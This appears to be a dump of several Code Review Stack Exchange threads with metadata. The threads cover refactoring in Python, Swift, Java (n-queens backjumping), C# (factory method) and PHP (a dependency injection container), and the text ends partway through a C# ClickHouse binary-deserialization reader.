lastNamesFile.write(namesTuples[1] + \"\\n\")\n else:\n lastNamesFile.write(\"n/a\\n\")\n</code></pre>\n\n<p>Allowing a <code>for</code> loop less and two less <code>try ... except</code> blocks as well as a global list which can now be left out:</p>\n\n<pre><code>\"Global Variables:\"\nallNamesFromFile = []\n</code></pre>\n\n<p>I don't think this is necessary:</p>\n\n<pre><code>fileName = str(input(\"Please provide the file name with its extension: \"))\n</code></pre>\n\n<p>Instead use:</p>\n\n<pre><code>fileName = input(\"Please provide the file name with its extension: \")\n</code></pre>\n\n<p>I'd also look at this part:</p>\n\n<pre><code>try:\n names_separator(fileName)\n print(\"operation completed\")\n break\nexcept:\n print(\"You have provided an incorrect file name...\")\n continue\n</code></pre>\n\n<p>You are catching a lot of exceptions, try to be more precise. Instead try: </p>\n\n<pre><code>except FileNotFoundError:\n</code></pre>\n\n<p>Lastly, you might want to check naming conventions, variables should be in <code>snake_case</code> and classes in <code>CamelCase</code>.</p>\n\n<p>So, to summarize:</p>\n\n<ul>\n<li>check if your program does what you want it to do</li>\n<li>open files using <code>with</code></li>\n<li>limit the amount of global variables to 0</li>\n<li>limit the amount of <code>try ... except</code> blocks</li>\n<li>be explicit in the exceptions you're catching</li>\n<li>check <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">pep8 style guide</a> for naming of variables</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-11T08:54:10.630",
"Id": "464666",
"Score": "0",
"body": "Hey!\nI really appreciate your answer. You are right. Now when I look at my code, it makes no sense to have so many tries/excepts. Also, the for loop you have used in your advice is much better. I've changed my code and it works, and I understand those changes. I use encoding UTF-8 to keep polish \"ź, ż, ś, etc.\" letters.\nThanks a lot!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:00:41.587",
"Id": "236774",
"ParentId": "236764",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236774",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T07:10:49.187",
"Id": "236764",
"Score": "2",
"Tags": [
"python",
"beginner"
],
"Title": "Gathers pair of names (first + last) and separate them into two files"
}
|
236764
|
<p>I have this code</p>
<pre><code>@objc func didClickActionButton(sender: UITapGestureRecognizer) {
if let contents = contentList {
if contents[currentScreenIndex].customMeta["permission-location"] != nil {
//request Permission
ApiHelper.shared.initLocationHelperWithBeacon()
}
if contents[currentScreenIndex].customMeta["permission-notification"] != nil {
// PushNotificationHelper.requestNotificationAuthorization { }
PushNotificationHelper.requestNotificationAuthorization {
DispatchQueue.main.async {
if self.currentScreenIndex == contents.count - 1 {
self.finishOnboarding()
return
}
self.currentScreenIndex+=1
self.showScreenAtPosition(position: self.currentScreenIndex)
}
}
return
}
if currentScreenIndex == contents.count - 1 {
finishOnboarding()
return
}
currentScreenIndex+=1
showScreenAtPosition(position: currentScreenIndex)
}
}
</code></pre>
<p>As you can see I have the same code in the <code>DispatchQueue.main.async</code> as I have at the bottom at the func. Is there anyway to refactor this so I don't write the same code twice? Is it even worth it to refactor this?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T12:00:29.383",
"Id": "464140",
"Score": "0",
"body": "Use functions, pure ones, as much as you can."
}
] |
[
{
"body": "<p>Refactor the repeated code into its own <code>private</code> function:</p>\n\n<pre><code>@objc func didClickActionButton(sender: UITapGestureRecognizer) {\n guard let contents = contentList else { return }\n\n if contents[currentScreenIndex].customMeta[\"permission-location\"] != nil {\n //request Permission\n ApiHelper.shared.initLocationHelperWithBeacon()\n }\n\n if contents[currentScreenIndex].customMeta[\"permission-notification\"] != nil {\n PushNotificationHelper.requestNotificationAuthorization {\n DispatchQueue.main.async {\n self.advanceOnboarding()\n }\n }\n return\n }\n\n advanceOnboarding()\n}\n\nprivate func advanceOnboarding() {\n if currentScreenIndex == contents.count - 1 {\n finishOnboarding()\n return\n }\n\n currentScreenIndex += 1\n showScreenAtPosition(position: currentScreenIndex)\n}\n</code></pre>\n\n<p>I’d also suggest the <code>guard</code> for the early exit, as shown above.</p>\n\n<blockquote>\n <p>Is it even worth it to refactor this?</p>\n</blockquote>\n\n<p>Refactoring this code out into its own function not only avoids the unnecessary repetition (simplifying maintenance in the future), but it also makes this routine much easier to reason about. When first reading your code, it took a few seconds to figure out what you were trying to do, why that code was being repeated, etc. Giving that block of code a clear name makes it easier to grok what’s going on.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:24:27.490",
"Id": "236794",
"ParentId": "236766",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236794",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T07:30:32.990",
"Id": "236766",
"Score": "0",
"Tags": [
"swift"
],
"Title": "refactor function so same code is written only once"
}
|
236766
|
<p>I am implementing <a href="https://en.wikipedia.org/wiki/Backjumping" rel="nofollow noreferrer">conflict-based backjumping</a> with nqueen. I want to optimize my code especially in recursive call.</p>
<p>In short,backjumping is similar to backtracking and it uses conflict set. When checking failure, it stores the fail value in conflict set.When it needs to backtrack,it jumps from the conflict set and not as stack by stack like backtracking.</p>
<pre><code>public class Backjumping {
int size;
List<Integer> columns;
int numberofplaces;
int numberofbacktracks;
HashMap<Integer, List<Integer>> conflict;
boolean noBreak = true;
Backjumping(int size) {
this.size = size;
columns = new ArrayList();
conflict = new HashMap<>(size);
for (int i = 0; i < size; i++) {
conflict.put(i, new ArrayList<>());
}
}
List place(int startRow) {
if (columns.size() == size) {
System.out.println("Solution Found! The board size was :" + size);
System.out.println(numberofplaces + " total nodes assigned were made.");
System.out.println(numberofbacktracks + " total backtracks were executed.");
return this.columns;
} else {
for (int row = 0; row < size; row++) {
if (isSafe(columns.size(), row)) {
if (indexExists(columns, columns.size()))
columns.set(columns.size(), row);
else
columns.add(columns.size(), row);
numberofplaces += 1;
return place(startRow);
}
}
if (noBreak) {
List<Integer> lastRowList = conflict.get(columns.size());
numberofbacktracks += 1;
List<Integer> key = new ArrayList<>();
Counter<Integer> counts = new Counter<Integer>();
lastRowList.forEach(i -> {
if (!key.contains(i)) {
key.add(i);
}
counts.add(i);
});
Object[] keyContent = key.toArray();
List<Integer> temp = new ArrayList<>();
for (int i = 0; i < counts.size(); i++) {
temp.add(counts.count((int) keyContent[i]));
}
Integer value = Collections.max(temp);
int index = temp.indexOf(value);
int lastRow = (int) keyContent[index];
conflict.replace(columns.size(), new ArrayList<>());
int previous_variable = columns.remove(lastRow);
place(previous_variable);
}
}
return this.columns;
}
private boolean isSafe(int cols, int rows) {
for (int threatrow : columns) {
int threatcol = columns.indexOf(threatrow);
if (rows == threatrow || cols == columns.indexOf(threatrow)) {
(conflict.get(cols)).add(threatcol);
return false;
} else if ((threatrow + threatcol) == (rows + cols) || (threatrow - threatcol) == (rows - cols)) {
(conflict.get(cols)).add(threatcol);
return false;
}
}
return true;
}
public boolean indexExists(final List list, final int index) {
return index >= 0 && index < list.size();
}
public static void main(String[] args) {
System.out.println("Enter the size of board");
Scanner sc = new Scanner(System.in);
int n = sc.nextInt();
Backjumping bj = new Backjumping(n);
double start = System.currentTimeMillis();
List cols = bj.place(2);
double end = System.currentTimeMillis();
System.out.println("Time to solve in second = " + (end - start) * 0.001 + " s");
System.out.print("Ths solution is : ");
cols.forEach(i -> System.out.print(((int) i + 1) + ", "));
System.out.println("\n\nPlotting CSP result on N_Queens board");
System.out.println("......................................\n");
bj.getBoardPic(n, cols);
}
public void getBoardPic(int size, List columns) {
int[] cols = Ints.toArray(columns);
int[][] matrix = new int[size][size];
for (int a = 0; a < size; a++) {
int j = cols[a];
matrix[a][j] = 1;
}
for (int a = 0; a < size; a++) {
for (int b = 0; b < size; b++) {
if (matrix[b][a] == 1)
System.out.print(" Q ");
else
System.out.print(" - ");
}
System.out.println();
}
}
}
class Counter<T> {
final Map<T, Integer> counts = new HashMap<>();
public void add(T t) {
counts.merge(t, 1, Integer::sum);
}
public int count(T t) {
return counts.getOrDefault(t, 0);
}
public int size() {
return counts.size();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T08:50:47.633",
"Id": "464113",
"Score": "0",
"body": "Hello, you wrote **my solution wrongs when N=6**. Code Review is for reviewing code working and working as expected and this requisite seems not be satisfied by your code, for details you can check [what topics can I ask about here?](https://codereview.stackexchange.com/help/on-topic)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T08:55:40.677",
"Id": "464115",
"Score": "0",
"body": "Welcome to CodeReview@SE. (Please put spaces *after* punctuation marks instead of before.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:10:03.803",
"Id": "464119",
"Score": "0",
"body": "Ok,Thanks for your advice.I will edit it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T11:07:44.477",
"Id": "464135",
"Score": "0",
"body": "Hello again, please format your code and split it into distinct classes, if you have test cases (input values and output values expected) add them to you post, this will help your question to obtain more answers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T19:05:53.377",
"Id": "464171",
"Score": "0",
"body": "My IDE complains, first about missing `import`s; more seriously: what, in `getBoardPic()`, is `Ints`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T01:38:21.677",
"Id": "464207",
"Score": "0",
"body": "Yes,it is apache library.Please convert int[] cols=new int[columns.size()];list.toArray(cols);@greybeard"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T08:28:27.220",
"Id": "464226",
"Score": "0",
"body": "Did you get `cols = columns.toArray(new int[columns.size()])` to work? I used `cols = columns.stream().mapToInt(x -> x).toArray()`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T09:05:19.343",
"Id": "464233",
"Score": "0",
"body": "Integer[] cols=new Integer[columns.size()];\n columns.toArray(cols);"
}
] |
[
{
"body": "<p>I haven't look too much at your algorithm, however there's a few things that stand out that you might want to look at.</p>\n\n<p><strong>startRow</strong></p>\n\n<p>You're passing start row into <code>place</code>. The only time you use it is when you pass it into the recursive calls. Are you supposed to be using it to limit the scope of the search, or is it simply unnecessary?</p>\n\n<p><strong>noBreak</strong></p>\n\n<p>There's a similar issue with <code>noBreak</code>. You set it when constructing your class to <code>true</code> and nothing ever changes it. If it's unnecessary, then it allows you to remove the level of nesting in your if block <code>if(noBreak</code>, since it's always true and so always going to be executed.</p>\n\n<p><strong>isSafe</strong></p>\n\n<p>The body of both your <code>if</code> clauses is the same, really you're doing <code>if(A|B|C|D)</code>, rather than <code>if(A|B) else if(C|D)</code>. I'd combine the clauses to make it more obvious that this is the case.</p>\n\n<p><strong>range checking</strong></p>\n\n<p>The application doesn't seem to work when its size is 3 or less. Consider adding some validation on the input.</p>\n\n<p><strong>+= 1</strong></p>\n\n<p>It's unusual to see <code>+= 1</code>, I'd expect <code>++</code>.</p>\n\n<p><strong>Fields</strong></p>\n\n<p>Class fields are usually marked as <code>private</code>, you've left them as the default of package private. Naming also usually follows the standard camelCase convention, you seem to have mixed an matched between it and alllowercase which is less easy to read.</p>\n\n<p><strong>getBoardPic</strong></p>\n\n<p>It's naming suggests that it returns a picture of the board (possibly in a string), however it actually prints the board to the console. This is a bit misleading.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-09T20:07:09.890",
"Id": "236939",
"ParentId": "236768",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T07:49:51.400",
"Id": "236768",
"Score": "2",
"Tags": [
"java",
"backtracking",
"n-queens"
],
"Title": "Improved Backtracking with nqueen"
}
|
236768
|
<p>I have classes:</p>
<pre><code>public abstract class House{
public string Name {set;get;}
public SomeClass Property1 {set;get;}
public OtherClass Property2 {set;get;}
}
public class WoodenHouse:House{
public string WoodType {set;get;}
public int WoodAge {set;get;}
}
public class StoneHouse:House{
public string StoneType{set;get;}
}
</code></pre>
<p>And trying to create Factory Method patthern for this:</p>
<pre><code> abstract class Creator
{
public abstract HouseInfo Info { get; set; }
public Creator()
{
}
public abstract House FactoryMethod();
}
class WoodenHouseCreator : Creator
{
public override HouseInfo Info { get; set; }
public WoodenHouseCreator(WoodenHouseInfo info)
{
Info = info;
}
public override House FactoryMethod()
{
var info = Info as WoodenHouseInfo;
var woodenHouse = new WoodenHouse();
woodenHouse.Name = info.Name;
woodenHouse.Floors = info.Floors;
woodenHouse.RoofType = info.RoofType;
woodenHouse.WoodType = info.WoodType;
woodenHouse.WoodAge = info.WoodAge;
return woodenHouse;
}
}
class StoneHouseCreator : Creator
{
public override HouseInfo Info { get; set; }
public StoneHouseCreator(StoneHouseInfo info)
{
Info = info;
}
public override House FactoryMethod()
{
var info = Info as StoneHouseInfo;
var stoneHouse = new StoneHouse();
stoneHouse.Name = info.Name;
stoneHouse.Floors = info.Floors;
stoneHouse.RoofType = info.RoofType;
stoneHouse.StoneType = info.StoneType;
return stoneHouse;
}
}
</code></pre>
<p>Here is classes what contains information to create house:</p>
<pre><code> class HouseInfo
{
public string Name { set; get; }
public int Floors { set; get; }
public string RoofType { set; get; }
}
class WoodenHouseInfo : HouseInfo
{
public string WoodType { set; get; }
public int WoodAge { set; get; }
}
class StoneHouseInfo : HouseInfo
{
public string StoneType { set; get; }
}
</code></pre>
<p>And Usage:</p>
<pre><code> var houseInfo = new WoodenHouseInfo{
Name = "HouseName",
Floors = 2,
RoofType = "Triangle",
WoodType = "Pine",
WoodAge = 100
};
House house;
if(houseInfo is WoodenHouseInfo)
{
var creator = new WoodenHouseCreator(houseInfo);
house = creator.FactoryMethod();
Console.Write((house as WoodenHouse).WoodAge);
}
</code></pre>
<p>Full code <a href="https://dotnetfiddle.net/xVc0Hj" rel="nofollow noreferrer">fiddle</a>. </p>
<p>My problem that how to handle code duplication. I mean here is a lot of lines what fills base <code>House</code> object properties. How can i write that code only once?<br>
Or i should not to use <code>Factory Method</code>?</p>
<p><strong>Add Populator Class</strong></p>
<pre><code>class HousePopulator
{
public void PopulateHouse(HouseInfo info, House house)
{
house.Name = info.Name;
house.Floors = info.Floors;
house.RoofType = info.RoofType;
}
}
</code></pre>
<p>And usage:</p>
<pre><code>abstract class Creator
{
public abstract HouseInfo Info{get;set;}
public HousePopulator HousePopulator {get;set;}
public Creator()
{
HousePopulator = new HousePopulator();
}
public abstract House FactoryMethod();
}
class WoodenHouseCreator : Creator
{
public override HouseInfo Info{get;set;}
public WoodenHouseCreator(WoodenHouseInfo info)
{
Info = info;
}
public override House FactoryMethod()
{
var info = Info as WoodenHouseInfo;
var woodenHouse = new WoodenHouse();
HousePopulator.PopulateHouse(Info, woodenHouse);
woodenHouse.WoodType = info.WoodType;
woodenHouse.WoodAge = info.WoodAge;
return woodenHouse;
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:18:10.397",
"Id": "464154",
"Score": "2",
"body": "The current question title, which states your concerns about the code, is too general to be useful here. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How to get the best value out of Code Review: Asking Questions**](https://CodeReview.Meta.StackExchange.com/q/2436) for guidance on writing good question titles."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T18:06:53.530",
"Id": "464166",
"Score": "2",
"body": "Do not update your question with insights from answers. This makes it very confusing And Is against rules of this site. If you want to review your modifications, post another question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T18:10:48.380",
"Id": "464167",
"Score": "3",
"body": "Also please add more context. In current state your code Is very hard to review as Its purpose remains hidden or represents a generic problem which would be off topic here. Your code does not even compile."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T18:11:41.733",
"Id": "464277",
"Score": "0",
"body": "FYI this is more *abstract factory* than *factory method*, and I believe you will want to look into the *builder* pattern for this kind of thing."
}
] |
[
{
"body": "<p>Currently your factories instantiate the new objects and then fill in all of their properties with the right values. You could split instantiation from property value assignment. Your <code>StoneHouseCreator</code> could instantiate a <code>StoneHouse</code>, use a <code>HousePopulator</code> that populates the values that all objects of type <code>House</code> have in common, and then the <code>StoneHouseCreator</code> could populate the rest of the values that are exclusive to a <code>StoneHouse</code>. That same <code>HousePopulator</code> could also be used by your <code>WoodenHouseCreator</code>, which would then proceed to populate the <code>WoodenHouse</code>-specific properties.</p>\n\n<p>Actually, there are two ways of doing this. Either you keep it as it was originally (i.e. using <em>inheritance</em>), give your base class a <code>PopulatorMethod(...)</code> that populates the properties of a <code>House</code>, and call <code>base.PopulatorMethod(...)</code> from your override of <code>PopulatorMethod(...)</code> in the child classes. Or you drop the inheritance between your factories completely, you make your <code>FactoryMethod()</code> implementations accept instances of <code>WoodenHouseInfo</code> or <code>StoneHouseInfo</code> depending on the implementing class, and have them use a <code>HousePopulator</code> as you have done.</p>\n\n<p>If you go down the second route, you don't need an abstract parent class, although an interface would be nice, and you can move the <code>HousePopulator = new HousePopulator()</code> assignment to the individual factory classes.</p>\n\n<p>If you want to philosophise about this at a higher level, these are the problems that we run into because of <em>inheritance</em>. Factories, that is the logical separation of object use from object creation, are more naturally suited to cases where you use <em>composition</em> over <em>inheritance</em>. If you are interested more in this, I would recommend reading this excellent <a href=\"https://codeburst.io/inheritance-is-evil-stop-using-it-6c4f1caf5117\" rel=\"nofollow noreferrer\">article</a> on the topic.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:50:35.953",
"Id": "464123",
"Score": "0",
"body": "I update question with `Populator` class(also update fiddler). Do you mean solution like this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:10:48.227",
"Id": "464128",
"Score": "0",
"body": "There are two ways of doing this. Either you keep it as it was originally (i.e. using *inheritance*), give your base class a `PopulatorMethod(...)` that populates the properties of a `House`, and call `base.PopulatorMethod(...)` from your override of `PopulatorMethod(...)` in the child classes. Or you drop the inheritance between your factories completely, you make your `FactoryMethod()` implementations accept instances of `WoodenHouseInfo` or `StoneHouseInfo` depending on the implementing class, and have them use a `HousePopulator` as you have done."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:11:04.493",
"Id": "464129",
"Score": "0",
"body": "If you go down the second route, you don't need an abstract parent class, although an interface would be nice, and you can move the `HousePopulator = new HousePopulator();` assignment to the individual factory classes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:56:37.330",
"Id": "464133",
"Score": "0",
"body": "@PhilipAtz You should add this to your answer."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:34:24.243",
"Id": "236773",
"ParentId": "236772",
"Score": "3"
}
},
{
"body": "<p>You need to simplify your class to its standard form, which is <code>House</code> needs <code>Name</code> and <code>Type</code>, then go from there. </p>\n\n<p>Take it this way, if you need to create a new house, then you can write pseudo code that want something like : </p>\n\n<pre><code>var house = new House\n{\n Name = \"House Name\",\n Type = new WoodenHouse\n {\n WoodType = \"Pine\",\n WoodAge = 100,\n Floors = 2,\n RoofType = \"Triangle\"\n }\n};\n</code></pre>\n\n<p>Since <code>Floors</code> and <code>RoofType</code> are releated to the <code>House</code>, then you can include them into the <code>House</code> instead. </p>\n\n<p>Example : </p>\n\n<pre><code>var house = new House\n{\n Name = \"House Name\",\n Type = new WoodenHouse\n {\n WoodType = \"Pine\",\n WoodAge = 100\n },\n Floors = 2,\n RoofType = \"Triangle\"\n};\n</code></pre>\n\n<p>then we can implement this : </p>\n\n<pre><code>public class House\n{\n public string Name { get; set; }\n\n public IHouseType Type { get; set; }\n\n public int Floors { get; set; }\n\n public string RoofType { get; set; }\n}\n\npublic interface IHouseType \n{\n // define your contract\n string TypeName { set; get; }\n}\n\npublic class WoodenHouse : IHouseType\n{\n public string TypeName { set; get; }\n\n public int WoodAge { set; get; }\n\n}\n\npublic class StoneHouse : IHouseType\n{\n public string TypeName { set; get; }\n}\n</code></pre>\n\n<p>and your <code>Creator</code> class can be something like this : </p>\n\n<pre><code>public class HouseCreator\n{\n private House _house;\n\n public HouseCreator(House house) { house = _house; }\n\n\n public House FactoryMethod()\n {\n if(_house.Type is null) { throw new ArgumentNullException(); } // it's not defined\n\n /*\n NOTE : \n Floors & RoofType are shared properties, so it can be processed outside the following if blocks\n */\n var floors = _house.Floors;\n var RoofType = _house.RoofType;\n\n\n if (_house.Type is WoodenHouse)\n {\n // process the WoodenHouse logic\n }\n\n if(_house.Type is StoneHouse)\n {\n // process the StoneHouse logic and save it \n\n }\n return _house;// return the processed house object.\n }\n}\n</code></pre>\n\n<p>It's straight forward process, and there is no need to use duplicated objects like <code>HouseInfo</code>, and the <code>Creator</code> and <code>HousePopulator</code> in current context, I don't see any usage of them, since <code>new</code> keyword does that for you. What you need might be to implement <code>FactoryMethod()</code> and <code>PopulateHouse()</code> inside <code>House</code> class, which would make more sense to me at least. The factory method would act as a handler where you process the logic to your object internally, and then pass it to the Populate method where you execute the output publicly. </p>\n\n<p>So, the conversion usage might be simplified to something like this : </p>\n\n<pre><code>// Create a new house\nvar house = new House\n{\n Name = \"House Name\",\n Type = new WoodenHouse\n {\n TypeName = \"Pine\",\n WoodAge = 100\n },\n Floors = 2,\n RoofType = \"Triangle\"\n};\n\n\n//Populate It \nhouse.Populate();\n</code></pre>\n\n<p>Another thing that might be also useful, using <code>Enum</code> in <code>RoofType</code> would me more appropriate than <code>string</code>. so this line : </p>\n\n<pre><code>RoofType = \"Triangle\"\n</code></pre>\n\n<p>can be converted to this : </p>\n\n<pre><code>RoofType = HouseRoofType.Triangle\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T04:46:25.223",
"Id": "236825",
"ParentId": "236772",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "236773",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T09:24:39.533",
"Id": "236772",
"Score": "0",
"Tags": [
"c#",
"design-patterns"
],
"Title": "How to handle same code parts in Factory Method?"
}
|
236772
|
<p>So I decided to write my own DI container for educational purposes and would like some feedback on how I can improve the quality of my code.</p>
<p>I'm not sure about the documentation as most of my experience has been with closed source personal code, so I would like some feedback on that.</p>
<p>Another area is where I am using <code>exit()</code>, maybe an exception would be better? Although my experience is minimal here, maybe <code>Exception</code> or <code>RuntimeException</code>?</p>
<p>I would also prefer responses about common good practices over personal preferences.</p>
<pre><code><?php declare (strict_types = 1);
namespace Rosa;
use RuntimeException;
class Rosa {
private $objects = [];
/**
* Register an instantiated object to the container.
*
* @param object $object
*/
public function register(object $object) : void {
$this->objects[get_class($object)] = $object;
}
/**
* Fetch a cached object from the container.
*
* @param string $objectName
* @return object
*/
public function fetch(string $objectName) : object {
if (array_key_exists($objectName, $this->objects)) {
return $this->objects[$objectName];
}
return $this->make($objectName);
}
/**
* Creates an object from its name and auto-wires constructor arguments.
*
* @param string $objectName
* @return object
* @throws \ReflectionException
*/
private function make(string $objectName) : object {
$reflection = new \ReflectionClass($objectName);
if (!$reflection->isInstantiable()) {
exit($reflection->getName() . ' can\'t be instantiated.');
}
$arguments = $this->resolveArguments($reflection);
if (count($arguments) < 1) {
return $reflection->newInstance();
}
else {
return $reflection->newInstanceArgs($arguments);
}
}
/**
* Creates an array of arguments from a reflection class.
* Uses default value if there is one, auto-wires the object if not.
*
* @param $reflection
* @return array
*/
private function resolveArguments($reflection) : array {
$constructor = $reflection->getConstructor();
$parameters = $constructor->getParameters();
if (!$parameters) {
return $reflection->newInstance();
}
$arguments = [];
foreach ($parameters as $parameter) {
if ($parameter->isDefaultValueAvailable()) {
$arguments[] = $parameter->getDefaultValue();
continue;
}
if ($parameter->getClass() == null) {
exit($parameter->name . ' on ' . $reflection->getName() . ' needs a default value');
}
$arguments[] = $this->fetch($parameter->getClass()->getName());
}
return $arguments;
}
}
</code></pre>
|
[] |
[
{
"body": "<h1>Naming</h1>\n\n<p><code>class Rosa</code> tells me nothing. The name should scream out that it is a dependency injection container.</p>\n\n<h1>PSR</h1>\n\n<p>There is a standard interface for DI containers.\n<a href=\"https://github.com/php-fig/container/blob/master/src/ContainerInterface.php\" rel=\"nofollow noreferrer\">https://github.com/php-fig/container/blob/master/src/ContainerInterface.php</a></p>\n\n<p>You might want to have you container implement it.</p>\n\n<h1>Exit vs. Exception</h1>\n\n<p>Implementing the PSR interface would automatically answer your question about exit vs. exception. In short, yes throw exception. Don't call exit generaly from anywhere.</p>\n\n<h1>Shared vs one-time services</h1>\n\n<p>Your container keeps references of services that you have registered but will instantiate a new one every time if not registered explicitly.</p>\n\n<p>This is rather unintuitive. Consumers of the container should either be able to choose whether a service is shared or should get new instance every time. Or they should always receive consitent behaviour for all services (only one of them is supported).</p>\n\n<h1>On demand instantiation</h1>\n\n<p>Assuming you have chosen to support shared services, it is common that only a recipe for the service is provided and the actual service object is instantiated on first demand.</p>\n\n<h1>Configuration of Services</h1>\n\n<p>It would be more precise to say that your container does not just have autowiring feature, but that the autowiring is almost unevitable. You either register instantiated service (for which you have had to resolve dependencies manually) or it autowires all constructor arguments (potentialy recursively).</p>\n\n<p>This is somewhat related to the previous section. If you had recipes for service instantiation, you could define which values parameters should be autowired and which should receive value defined by the consumer.</p>\n\n<h1>Services Dependant on Interfaces</h1>\n\n<p>You assume that a constructor parameter is a class or a primitive type with default value. Recipes could again help with primitives without default.</p>\n\n<p>If it is not a primitive it still does not mean it is a class, it can be an interface. But you dont have any mechanism autowire interfaces because you dont keep track of interfaces implemented by services.</p>\n\n<h1>Service Identification</h1>\n\n<p>You save services by class name, making it impossible to have multiple services of the same class. It is common that it is possible to set a name for a service. Again this could be property of a service recipe.</p>\n\n<h1>Single Responsibility Principle</h1>\n\n<p>Autowiring is quite a big topic and it could be useful in conjunction with other things that a DI container. Therefore it makes sense to separate the autowiring mechanism to a separate class and have the container just depend on it.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T11:45:42.433",
"Id": "236777",
"ParentId": "236775",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "236777",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T10:59:02.777",
"Id": "236775",
"Score": "1",
"Tags": [
"php",
"reinventing-the-wheel",
"dependency-injection"
],
"Title": "DI container with auto-wiring feature"
}
|
236775
|
<p>I've created an Open-source ADO.NET driver for <a href="https://github.com/ClickHouse/ClickHouse" rel="nofollow noreferrer">ClickHouse</a> database: <a href="https://github.com/DarkWanderer/ClickHouse.Client/tree/6fc469536b3494388809b9ee200a286108d22410" rel="nofollow noreferrer">ClickHouse.Client</a></p>
<p>Would appreciate if someone has any hints to improve code quality/performance (or suggest new ideas)</p>
<p>The core part of binary deserialization (as the 'hot path' in profiling):</p>
<pre><code>using System;
using System.Net;
using System.Numerics;
using System.Text;
using ClickHouse.Client.Types;
namespace ClickHouse.Client.Formats
{
internal class BinaryStreamReader : IDisposable
{
private readonly ExtendedBinaryReader reader;
public BinaryStreamReader(ExtendedBinaryReader reader)
{
this.reader = reader;
}
public void Dispose() => reader.Dispose();
public object ReadValue(ClickHouseType databaseType, bool nullAsDbNull)
{
switch (databaseType.TypeCode)
{
case ClickHouseTypeCode.UInt8:
return reader.ReadByte();
case ClickHouseTypeCode.UInt16:
return reader.ReadUInt16();
case ClickHouseTypeCode.UInt32:
return reader.ReadUInt32();
case ClickHouseTypeCode.UInt64:
return reader.ReadUInt64();
case ClickHouseTypeCode.Int8:
return reader.ReadSByte();
case ClickHouseTypeCode.Int16:
return reader.ReadInt16();
case ClickHouseTypeCode.Int32:
return reader.ReadInt32();
case ClickHouseTypeCode.Int64:
return reader.ReadInt64();
case ClickHouseTypeCode.Float32:
return reader.ReadSingle();
case ClickHouseTypeCode.Float64:
return reader.ReadDouble();
case ClickHouseTypeCode.String:
return reader.ReadString();
case ClickHouseTypeCode.FixedString:
var stringInfo = (FixedStringType)databaseType;
return Encoding.UTF8.GetString(reader.ReadBytes(stringInfo.Length));
case ClickHouseTypeCode.Array:
var arrayTypeInfo = (ArrayType)databaseType;
var length = reader.Read7BitEncodedInt();
var data = new object[length];
for (var i = 0; i < length; i++)
data[i] = ReadValue(arrayTypeInfo.UnderlyingType, nullAsDbNull);
return data;
case ClickHouseTypeCode.Nullable:
var nullableTypeInfo = (NullableType)databaseType;
if (reader.ReadByte() > 0)
{
return nullAsDbNull ? DBNull.Value : null;
}
else
{
return ReadValue(nullableTypeInfo.UnderlyingType, nullAsDbNull);
}
case ClickHouseTypeCode.Date:
var days = reader.ReadUInt16();
return TypeConverter.DateTimeEpochStart.AddDays(days);
case ClickHouseTypeCode.DateTime:
var seconds = reader.ReadUInt32();
return TypeConverter.DateTimeEpochStart.AddSeconds(seconds);
case ClickHouseTypeCode.UUID:
// Weird byte manipulation because of C#'s strange Guid implementation
var bytes = new byte[16];
reader.Read(bytes, 6, 2);
reader.Read(bytes, 4, 2);
reader.Read(bytes, 0, 4);
reader.Read(bytes, 8, 8);
Array.Reverse(bytes, 8, 8);
return new Guid(bytes);
case ClickHouseTypeCode.IPv4:
var ipv4bytes = reader.ReadBytes(4);
